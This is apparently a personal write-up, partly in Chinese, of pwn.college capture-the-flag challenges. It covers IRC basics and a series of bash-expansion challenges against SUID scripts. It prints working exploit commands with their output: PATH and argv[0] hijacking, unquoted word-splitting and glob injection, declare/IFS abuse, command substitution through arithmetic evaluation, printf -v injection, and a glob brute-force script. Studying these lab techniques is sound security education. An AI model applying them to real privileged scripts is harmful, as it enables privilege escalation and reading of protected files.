bbs.recvuntil(b"Enter your choice: ")

# Request list of all message titles
bbs.sendline(b"1")

# Capture the output containing titles
data = bbs.recvuntil(b"Enter your choice: ").decode('utf-8', errors='ignore')

# Remove ANSI escape codes (colors) for cleaner parsing
ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
clean_data = ansi_escape.sub('', data)

# Extract titles using regex. Format: "000: Title Name"
titles = re.findall(r'^\d{3}:\s*(.*)$', clean_data, re.MULTILINE)

# Batch the requests: Send "2" (Read message) followed by the title for each message
payload = []
for t in titles:
payload.append("2")
payload.append(t)

# Send all requests at once to maximize speed
bbs.sendline("\n".join(payload).encode('utf-8'))

# Collect all response data until timeout or connection close
try:
dump = bbs.recvall(timeout=15).decode('utf-8', errors='ignore')
except EOFError:
pass

# Search for the flag in the dumped content
match = re.search(r'pwn\.college\{.*?\}', dump)
if match:
print(f"Flag: {match.group(0)}")
else:
print("fail")

if __name__ == "__main__":
solve()
1
2
# Run the solution script with specific terminal environment if needed
TERM=xterm python a.py

Join an IRC Server

1
2
3
4
5
6
7
8
9
10
11
12
hacker@irc~join-an-irc-server:~$ nc localhost 6667

nick kita
user d 0 * :kita!
:localhost 001 kita :Hi, welcome to IRC
:localhost 002 kita :Your host is localhost, running version miniircd-2.3
:localhost 003 kita :This server was created sometime
:localhost 004 kita localhost miniircd-2.3 o o
:localhost 251 kita :There are 1 users and 0 services on 1 server
:localhost 375 kita :- localhost Message of the day -
:localhost 372 kita :- pwn.college{***}
:localhost 376 kita :End of /MOTD command

Join an IRC Server(with an IRC client)

1
2
3
4
5
6
7
8
9
10
11
hacker@irc~join-an-irc-server-with-an-irc-client:~$ sic --help
usage: sic [-h host] [-p port] [-n nick] [-k keyword] [-v]
hacker@irc~join-an-irc-server-with-an-irc-client:~$ sic -h localhost -p 6667
localhost : 2026-04-01 07:40 >< 001 (unknown): Hi, welcome to IRC
localhost : 2026-04-01 07:40 >< 002 (unknown): Your host is localhost, running version miniircd-2.3
localhost : 2026-04-01 07:40 >< 003 (unknown): This server was created sometime
localhost : 2026-04-01 07:40 >< 004 (unknown localhost miniircd-2.3 o o):
localhost : 2026-04-01 07:40 >< 251 (unknown): There are 1 users and 0 services on 1 server
localhost : 2026-04-01 07:40 >< 375 (unknown): - localhost Message of the day -
localhost : 2026-04-01 07:40 >< 372 (unknown): - pwn.college{***}
localhost : 2026-04-01 07:40 >< 376 (unknown): End of /MOTD command

Change your nickname

1
2
3
4
5
6
7
8
9
10
11
12
hacker@irc~change-your-nickname:~$ nc localhost 6667
NICK archuser
USER archuser 0 * :I use Arch btw
:localhost 001 archuser :Hi, welcome to IRC
:localhost 002 archuser :Your host is localhost, running version miniircd-2.3
:localhost 003 archuser :This server was created sometime
:localhost 004 archuser localhost miniircd-2.3 o o
:localhost 251 archuser :There are 1 users and 0 services on 1 server
:localhost 422 archuser :MOTD File is missing
NICK pwn
:archuser!archuser@127.0.0.1 NICK pwn
:localhost pwn.college{***}

Join a channel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
hacker@irc~join-a-channel:~$ nc localhost 6667
nick a
user a 0 * :a
:localhost 001 a :Hi, welcome to IRC
:localhost 002 a :Your host is localhost, running version miniircd-2.3
:localhost 003 a :This server was created sometime
:localhost 004 a localhost miniircd-2.3 o o
:localhost 251 a :There are 1 users and 0 services on 1 server
:localhost 422 a :MOTD File is missing
list
:localhost 323 a :End of LIST
join #flag
:a!a@127.0.0.1 JOIN #flag
:localhost pwn.college{***}

:localhost 331 a #flag :No topic is set
:localhost 353 a = #flag :a
:localhost 366 a #flag :End of NAMES list

Message a channel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
hacker@irc~message-a-channel:~$ nc localhost 6667
nick a
user a 0 * :a
:localhost 001 a :Hi, welcome to IRC
:localhost 002 a :Your host is localhost, running version miniircd-2.3
:localhost 003 a :This server was created sometime
:localhost 004 a localhost miniircd-2.3 o o
:localhost 251 a :There are 1 users and 0 services on 1 server
:localhost 422 a :MOTD File is missing
join #flag
:a!a@127.0.0.1 JOIN #flag
:localhost 331 a #flag :No topic is set
:localhost 353 a = #flag :a
:localhost 366 a #flag :End of NAMES list
privmsg #flag :a
:localhost pwn.college{***}

Remove another user

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hacker@irc~remove-another-user:~$ nc localhost 6667
NICK archlinux
USER archlinux 0 * :I use Arch btw
:localhost 001 archlinux :Hi, welcome to IRC
:localhost 002 archlinux :Your host is localhost, running version miniircd-2.3
:localhost 003 archlinux :This server was created sometime
:localhost 004 archlinux localhost miniircd-2.3 o o
:localhost 251 archlinux :There are 1 users and 0 services on 1 server
:localhost 422 archlinux :MOTD File is missing
PRIVMSG pwn :Press alt+f4 to join my channel
:localhost 401 archlinux pwn :No such nick/channel
NICK pwn
:archlinux!archlinux@127.0.0.1 NICK pwn
:localhost pwn.college{***}

The shell is as mysterious as it is powerful. As a first stop in our journey, we will explore concepts of variable expansion, the pitfalls around quoting (and lack thereof!), and the raw power of globbing. Stay strong, and follow the PATH.

The Surprising Swap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ubuntu@first~the-surprising-swap:~$ echo "/bin/cat /flag" > pong
ubuntu@first~the-surprising-swap:~$ ls
2 Desktop Downloads a.py cse240 d.py fortune leap pong public_html pwn_script scripts
ubuntu@first~the-surprising-swap:~$ realpath pong
/home/hacker/pong
ubuntu@first~the-surprising-swap:~$ export PATH=/home/hacker/pong:$PATH
ubuntu@first~the-surprising-swap:~$ exec -a /bin/sh /challenge/run ping
pinged!

pwn.college{****************************************}

Connected!
ubuntu@first~the-surprising-swap:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@first~the-surprising-swap:~$ cat /challenge/run-actual
#!/bin/bash

[ "$1" == "ping" ] && echo "pinged!" && read && "$0" pong
[ "$1" == "pong" ] && echo "ponged!"

Path of the Unquoted

在 Shell 中,如果变量 $1 没有被双引号包裹,它会经历 Word Splitting(单词拆分)。

可以利用 Shell 的通配符(Globbing)或者逻辑判断来绕过检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@expansion~path-of-the-unquoted:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin

[ -n "$1" ] || exit 1
[ "$1" = "flag" ] && exit 2
[ $1 = "flag" ] && cat /flag

echo "Goodbye!"
ubuntu@expansion~path-of-the-unquoted:~$ ta
no sessions
[exited]
ubuntu@expansion~path-of-the-unquoted:~$ /challenge/run 'a -o a'
pwn.college{****************************************}
Goodbye!

判断 1: a 是否为非空字符串?(结果:True)

操作符: -o (OR)

判断 2: a 是否等于 “flag”?(结果:False)

结果: True OR False 等于 True。

Globbing Harmony

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@expansion~globbing-harmony:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/sh -p

PATH=/usr/bin
cd /tmp
cat /flag | tr -d [A-Za-z0-9]
ubuntu@expansion~globbing-harmony:~$ /challenge/run
.{-.}
ubuntu@expansion~globbing-harmony:~$ cd /tmp
ubuntu@expansion~globbing-harmony:/tmp$ touch a
ubuntu@expansion~globbing-harmony:/tmp$ /challenge/run
pwn.college{****************************************}

输入 tr -d [A-Za-z0-9] 时,Shell 在执行 tr 之前会检查当前目录。

Globbing 匹配文件名 a。

自动展开:正则模式 [A-Za-z0-9] 匹配到了文件 a。命令展开成了:

1
echo "a" | tr -d a

Zen of Expansion

word splitting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ubuntu@expansion~zen-of-expansion:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

pretty_cat () {
HEADER="Here is /etc/passwd!"
FILE="/etc/passwd"
[ -n "$1" ] && HEADER="$1" && shift
[ -n "$1" ] && FILE="$1" && shift

echo "####### $HEADER ########"
cat "$FILE"
}

[ "$#" -eq 1 ] || exit 1
pretty_cat $*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
脚本通过 `[ "$#" -eq 1 ] || exit 1` 限制只能传入一个参数。

传入一个带有空格的字符串,比如 "FLAG /flag"。对于外层脚本来说是一个完整的参数,`$#` 等于 1

当执行 `pretty_cat $*` 时,因为 `$*` 没有双引号保护,Bash 会根据空格将其拆分,传给 `pretty_cat` 的参数变成两个:

$1 = FLAG
$2 = /flag

在 pretty_cat 函数内部:

第一个 [ -n "$1" ] 命中,HEADER="FLAG",然后 shift。

在 shell 脚本中,当你从命令行传入参数时,它们会被依次存放在位置变量(positional parameters)中:$1, $2, $3 等等。

shift 命令的作用非常纯粹:把所有的位置参数向左“平移”一位, 系统的参数总数计数器 $# 也会自动减 1

第二个 [ -n "$1" ] 再次命中(现在的 $1 是刚才的 $2),FILE="/flag",然后再 shift。

最后执行 cat "$FILE",也就是 cat /flag
1
2
3
ubuntu@expansion~zen-of-expansion:~$ /challenge/run "FLAG /flag"
####### FLAG ########
pwn.college{****************************************}

Way of the Wildcard

Pattern Matching

在 Bash 的 [[]] 中,如果等号 =(或 ==)右边的变量没有被双引号包围,Bash 不会执行单纯的字符串比对,而是把它当作一个 Globbing Pattern(通配符模式) 来处理。

1
2
3
4
5
6
7
8
9
10
11
ubuntu@expansion~way-of-the-wildcard:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

read FLAG < /flag
[[ "$FLAG" = $1 ]] && cat /flag
echo "Goodbye!"
ubuntu@expansion~way-of-the-wildcard:~$ /challenge/run "*"
pwn.college{****************************************}
Goodbye!

Saga of the Sneaky Similarity

word splitting

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@expansion~saga-of-the-sneaky-similarity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
CHALLENGE=$RANDOM$RANDOM$RANDOM

[ -n "$1" ] || exit 1
[ $1 -eq "$CHALLENGE" ] && cat /flag
echo "Goodbye!"
ubuntu@expansion~saga-of-the-sneaky-similarity:~$ /challenge/run "1 -eq 1 -o 1"
pwn.college{****************************************}
Goodbye!

Enigma of the Environment

declare 是用来声明或修改变量的。脚本的本意是让你通过 $1 和 $2 设置一个临时的环境变量,接着运行 $PROGRAM(在前面被硬编码成了 $WORKDIR/fortune)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 1
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

declare -- "$1"="$2"
$PROGRAM
ubuntu@expansion~enigma-of-the-environment:~$ /challenge/run PROGRAM "/bin/cat /flag" fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Voyage of the Variable

对一个变量进行赋值时,Bash 在底层把它当作索引为 0 的数组元素处理。

字符串比对:“PROGRAM[0]” = “PROGRAM” 是 False

变量声明:declare – “PROGRAM[0]”=“$2” 被执行。这会直接修改(或者说覆盖)PROGRAM 变量的第 0 项数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ubuntu@expansion~voyage-of-the-variable:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[ "$1" = "PROGRAM" ] && exit 4
declare -- "$1"="$2"
$PROGRAM
ubuntu@expansion~voyage-of-the-variable:~$ /challenge/run "PROGRAM[0]" "/bin/cat /flag" fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Dance of the Delimiters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~dance-of-the-delimiters:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[[ "$1" = *PROGRAM* ]] && exit 4
declare -- "$1"="$2"
$PROGRAM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Bash 中,任何未被双引号包裹的变量在展开后,都会触发 Word Splitting (分词)。而分词的规则依据,就是环境变量 IFS (Internal Field Separator, 内部字段分隔符)。

脚本使用了 mktemp -d。在普通的 GNU coreutils 环境下,它默认会在 /tmp 目录下创建一个类似于 /tmp/tmp.XXXXXX 的目录。

所以,$PROGRAM 的完整字符串是:/tmp/tmp.XXXXXX/fortune。

如果我们利用 declare -- "$1"="$2" 把 IFS 变量修改为 .

当 Bash 试图执行 $PROGRAM 时,它会根据点号将 /tmp/tmp.XXXXXX/fortune 切割成两部分:

第一个词:/tmp/tmp

第二个词:XXXXXX/fortune

Bash 会把第一个词 /tmp/tmp 当作可执行命令,把第二个词当作参数传给它。而 /tmp 目录对普通用户是完全可写的!这意味着,我们只需要在 /tmp/tmp 这个位置放一个我们自己写的 Payload,整个系统的执行流就被我们彻底接管了。
1
2
3
4
5
6
7
ubuntu@expansion~dance-of-the-delimiters:~$ echo '#!/bin/bash' > /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ echo 'cat /flag' >> /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ chmod +x /tmp/tmp
ubuntu@expansion~dance-of-the-delimiters:~$ /challenge/run IFS "." fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
pwn.college{****************************************}

Symphony of Separation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ubuntu@expansion~symphony-of-separation:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d /tmp/tmpXXXXXXX) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

[[ "$1" = *PROGRAM* ]] && exit 4
declare -- "$1"="$2"
$PROGRAM
1
2
3
在 Bash 的底层机制中,当 declare(或 let、unset 等内置命令)处理数组赋值时,它会把方括号内的索引 (index) 作为一个算术表达式 (Arithmetic Expression) 进行求值。算术求值允许命令替换 (Command Substitution)

如果传入一个形如 array[$(command)] 的变量名,当 declare 试图解析这个数组下标时,它会直接执行里面的 $(command)
1
2
3
4
5
ubuntu@expansion~symphony-of-separation:~$ /challenge/run 'x[$(/bin/cat /flag)]' 1 fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
/challenge/run: line 20: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
Today is the last day of your life so far.

Saga of Sanitization

算术求值报错 (Arithmetic Evaluation Error)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ubuntu@expansion~saga-of-sanitization:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
WORKDIR=$(mktemp -d /tmp/tmpXXXXXXX) || exit 1
cd $WORKDIR

echo -e "Welcome! This is a launcher that lets you set an environment variable and then run a program!\nUsage: $0 VARNAME VARVALUE PROGRAM"
[ "$#" -eq 3 ] || exit 2

if [ "$3" != "fortune" ]
then
echo "Only 'fortune' is supported right now!"
exit 3
else
cp /usr/games/fortune $WORKDIR
PROGRAM="$WORKDIR/fortune"
fi

BADCHARS=$' \n\t='
VARIABLE="${1//[$BADCHARS]*/}"
[[ -v "$VARIABLE" ]] && exit 6
declare -- "$VARIABLE"="$2"
$PROGRAM
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Bash 有一个内置的特性:$(<file)。它的作用完全等同于 $(cat file)

传入的参数是 'x[$(</flag)]'。它没有空格,没有 \n,没有 \t,没有 =

脚本执行到 [[-v "$VARIABLE"]] 或 declare 时,试图解析数组 x 的下标。

它遇到 $(</flag),立刻读取 /flag 的内容

变量名在底层被展开为 x[pwn.college{...}]。

Bash 试图把 pwn.college{...} 当作一个数学公式来计算

显然,这不是一个合法的数学公式。
bash: pwn.college{...}: syntax error: operand expected...
1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@expansion~saga-of-sanitization:~$ /challenge/run 'x[$(</flag)]' 1 fortune
Welcome! This is a launcher that lets you set an environment variable and then run a program!
Usage: /challenge/run VARNAME VARVALUE PROGRAM
/challenge/run: line 21: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
/challenge/run: line 22: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
To be or not to be.
-- Shakespeare
To do is to be.
-- Nietzsche
To be is to do.
-- Sartre
Do be do be do.
-- Sinatra

Tale of the Test

Arithmetic Evaluation Error

-eq、-ne、-lt 等数字比较操作符,会强制对操作数触发算术求值 (Arithmetic Evaluation)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@expansion~tale-of-the-test:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

if [[ "$#" -ne 1 ]]
then
echo "Usage: $0 SKILL_LEVEL"
exit 1
fi

if [[ "$1" -eq 1337 ]]
then
echo "Not skilled enough!"
exit 2
fi

echo "You are quite skilled!"
1
2
3
ubuntu@expansion~tale-of-the-test:~$ /challenge/run 'x[$(</flag)]'
/challenge/run: line 9: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")
You are quite skilled!

Your Shattered Sanity

word splitting

Arithmetic Evaluation Error

当 -v 操作符去检查一个带有数组下标的变量时(例如 -v var[index]),为了确定具体的下标是多少,Bash 会强制对 index 进行算术求值 (Arithmetic Evaluation)

1
2
3
4
ubuntu@expansion~your-shattered-sanity:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

[ -f $1 ] && echo "It exists!"
1
2
3
4
5
-f /challenge/run:判断文件是否存在。传入脚本自己的绝对路径,确保这个条件为 True。

-a:逻辑与 (AND) 运算符。

-v x[$(</flag)]:既然左边为 True,[ 就会去计算右边。它检查数组 x 的下标,从而触发算术求值
1
2
ubuntu@expansion~your-shattered-sanity:~$ /challenge/run '/challenge/run -a -v x[$(</flag)]'
/challenge/run: line 3: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Untrustworthy Utterances

word splitting

Arithmetic Evaluation Error

but in a file this time

1
2
3
4
5
6
ubuntu@expansion~untrustworthy-utterances:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/bin

[ $(cat "$1") = $(cat /flag) ] && echo "Got it!"
1
2
3
4
ubuntu@expansion~untrustworthy-utterances:~$ cat /tmp/tmp
-v x[$(</flag)] -o
ubuntu@expansion~untrustworthy-utterances:~$ /challenge/run /tmp/tmp
/challenge/run: line 5: pwn.college{****************************************}: syntax error: invalid arithmetic operator (error token is ".college{****************************************}")

Echoes in Silence

1
2
3
4
5
6
7
ubuntu@expansion~echoes-in-silence:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# Thanks to livz for contributing this challenge!
PATH=/bin

[[ $(cat /flag) = $(cat "$1") ]] && echo "Got it!"

word splitting

globbing

1
[[ pwn.college{... = pwn.college* ]]
1
2
3
ubuntu@expansion~echoes-in-silence:~$ df -h /dev/shm
Filesystem Size Used Avail Use% Mounted on
shm 64M 0 64M 0% /dev/shm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import string

from pwn import *

import itertools

context.log_level = 'error'

charset = string.printable.strip().replace("*", "").replace("?", "")
flag = "pwn.college{"

for attempt in itertools.count(start=1):
print(f"Attempt {attempt}: {flag}")
for c in charset:
# 用 /dev/shm 来传递数据提高 I/O 速度
# or /tmp
with open("/dev/shm/tmp", "w") as f:
f.write(flag + c + "*")
p = process(["/challenge/run", "/dev/shm/tmp"])
if b"Got it!" in p.recvall(timeout=1):
flag += c
if "}" == c:
print(f"\n[+] Flag: {flag}")
exit(0)
break

# pwn.college{****************************************}

Masquerade of the Self

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
ubuntu@expansion~masquerade-of-the-self:~$ cat /challenge/run.c
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
setreuid(0, 0);
setregid(0, 0);

// Use bash -c to source the script so that $0 is preserved from argv[0]
// argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original
// argv[1]> ...
char **new_argv = malloc((argc + 4) * sizeof(char *));
new_argv[0] = "bash";
new_argv[1] = "-pc";
new_argv[2] = ". /challenge/run-actual";
for (int i = 0; i < argc; i++)
new_argv[3 + i] = argv[i];
new_argv[3 + argc] = NULL;

execv("/bin/bash", new_argv);
return 1;
}
ubuntu@expansion~masquerade-of-the-self:~$ cat /challenge/run-actual
#!/bin/bash

PATH=/usr/bin

case "$1" in
"hi")
echo hello
;;
"bye")
echo ciao
;;
"help")
echo "Usage: $0 ( hi | bye )"
;;
*)
echo "Invalid command: $1"
$0 help
;;
esac

change $0 to /bin/sh

$0 help -> /bin/sh help

/bin/sh 就会去当前目录下寻找一个叫做 help 的文件并把它当作 shell script 执行

1
2
3
4
5
ubuntu@expansion~masquerade-of-the-self:~$ echo 'cat /flag' > help
ubuntu@expansion~masquerade-of-the-self:~$ chmod +x help
ubuntu@expansion~masquerade-of-the-self:~$ bash -c "exec -a /bin/sh /challenge/run pwn"
Invalid command: pwn
pwn.college{****************************************}

Journey of the PATH

1
2
3
4
5
6
7
8
9
10
ubuntu@expansion~journey-of-the-path:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin
[ -n "$1" ] || exit

GUESSFILE=$(mktemp)

printf $1 > $GUESSFILE
grep -f /flag < $GUESSFILE || echo Goodbye!

word splitting

1
printf $1 > $GUESSFILE

Bash 的 printf 命令有一个选项:-v var

它的作用是:不把格式化结果输出到标准输出 (stdout),而是直接将结果赋值给名为 var 的变量

要完成利用,我们需要借助 Bash 处理命令行的固定顺序:先变量展开 (Expansion) -> 再处理重定向 (Redirection) -> 最后执行命令 (Execution)

假设向这个 SUID 脚本传入这样的参数:"-v GUESSFILE /flag"

脚本执行到 printf $1 > $GUESSFILE 时,$1 被替换成了 -v GUESSFILE /flag,而 $GUESSFILE 此时还是 mktemp 生成的临时文件路径(比如 /tmp/tmp.XXXXX)。 此时,Bash 看到 > /tmp/tmp.XXXXX,于是打开这个临时文件,准备接收 stdout 的输出。

准备好重定向后,真正执行的命令实际上变成了这样:

1
printf -v GUESSFILE /flag

printf 注入了 -v GUESSFILE 选项,没有向 stdout 输出。相反,它将当前 Shell 进程中的 GUESSFILE 变量的值,改写成了字符串 /flag

1
grep -f /flag < $GUESSFILE

这一行展开后:

1
grep -f /flag < /flag

grep 被要求从 /flag 文件中读取匹配模式 (Pattern),然后在 /flag 文件中去,每一行必然与它自身匹配

1
2
ubuntu@expansion~journey-of-the-path:~$ /challenge/run "-v GUESSFILE /flag"
pwn.college{****************************************}

Secrets of the Shell

arithmetic evaluation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ubuntu@expansion~secrets-of-the-shell:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

PATH=/usr/bin

CHALLENGE=$RANDOM$RANDOM$RANDOM$RANDOM$RANDOM
RESPONSE="$1"

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == CHALLENGE ))
then
echo "Success! Here's part of the flag:"
cat /flag | head -c10
else
echo "Wrong!"
cat /flag | md5sum
fi
1

用 set -T 开启了调试继承,并用 trap '[[$BASH_SUBSHELL -gt 0]] && exit' DEBUG 禁用所有 Subshell

$() 在 Bash 术语中被称为 Command Substitution (命令替换)

从操作系统层面来看,每当你使用 $(),Bash 都会隐式地调用底层的 fork() 系统调用,复制出一个全新的子进程环境——这就是我们常说的 Subshell (子 Shell)

既然存在 Subshell,Bash 就需要一种机制来知道自己当前处于第几层

$BASH_SUBSHELL 就是这样一个内置的(builtin)只读变量:

  • 在最顶层的父 Shell 中,它的值是 0
  • 当你进入第一层 $() 时,它自增变成 1
  • 如果你在 $() 里再套一个 $(),它就变成 2,以此类推。

trap 命令是用来捕捉系统信号(Signals)的。但挂载在 DEBUG 这个伪信号(pseudo-signal)上的 trap 非常特殊。

它意味着:在当前 Shell 环境下,每一条简单命令 (Simple Command) 真正被执行之前,都会先强制执行一遍 trap 里面定义的代码。

在这个脚本里,执行的代码是 [[ $BASH_SUBSHELL -gt 0 ]] && exit。如果在 Subshell 里运行(层级大于 0),就 exit

默认情况下,主 Shell 中设置的 DEBUG trap,是不会被 Subshell 或 Shell 函数继承的

加上了 set -T (全称是 set -o functrace)。强制要求所有的 Command Substitutions ($())、Shell Functions 和 Subshell environments,继承父进程的 DEBUG trap

$() 注入恶意命令时,系统底层到底发生了什么:

  1. 输入了包含 $(cat /flag) 的 payload。
  2. Bash 解析到 $(),调用 fork() 创建 Subshell。此时 $BASH_SUBSHELL 的值变为 1
  3. 准备在子进程中执行 cat /flag
  4. 触发 set -T 机制:Subshell 强制继承了父辈的 DEBUG trap。
  5. cat /flag 执行前,trap 被触发。
  6. Subshell 开始执行 trap 代码:[[ $BASH_SUBSHELL -gt 0 ]]
  7. 系统一查,当前层级是 1,1 > 0 成立!
  8. 执行 && 后面的 exit
1
2
3
4
5
6
7
8
9
10
11
(( ... )) 的上下文中,Bash 允许动态的变量赋值

Bash 在执行 (( PATH=0 == CHALLENGE )) 时,会将环境变量 PATH 修改为字符串 "0"。

赋值表达式 PATH=0 返回 0,而 0 == CHALLENGE 显然为 false(因为 $RANDOM 串大概率不是 0)。

脚本走进 else 分支。

接下来它要执行 cat 和 md5sum。此时 PATH 变成了 0。在 Linux 路径解析法则中,没有任何前缀的 0 指代的是相对于当前目录的一个名为 0 的文件夹 (即 ./0/)。

Bash 会去 ./0/cat 和 ./0/md5sum 寻找这两个二进制程序
1
2
3
4
5
6
7
ubuntu@expansion~secrets-of-the-shell:~$ mkdir 0
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/cat
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/md5sum
ubuntu@expansion~secrets-of-the-shell:~$ ln -s /usr/bin/cat 0/head
ubuntu@expansion~secrets-of-the-shell:~$ /challenge/run "PATH=0"
Wrong!
pwn.college{****************************************}

The Swap, Scheming

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ubuntu@expansion~the-swap-scheming:~$ cat /challenge/run
#!/usr/bin/exec-suid --real --environ=none -- /bin/bash -p

# props to HyperCube for the idea for this challenge

# HINT: This challenge uses /bin/bash. Double-check which bash you do your prep work in...

PATH=/usr/bin
RESPONSE="$1"

exec 2>/dev/null # props to amateurhour for this unintended solve

# This disables command injection. If you can find a bypass of it, let Zardus know!
set -T
readonly BASH_SUBSHELL # props to HAL50000 for the bypass necessitating this fix
trap '[[ $BASH_SUBSHELL -gt 0 ]] && exit' DEBUG

if (( RESPONSE == RANDOM ))
then
echo "Success!"
cat /flag
else
echo "Wrong!"
rm /flag
fi

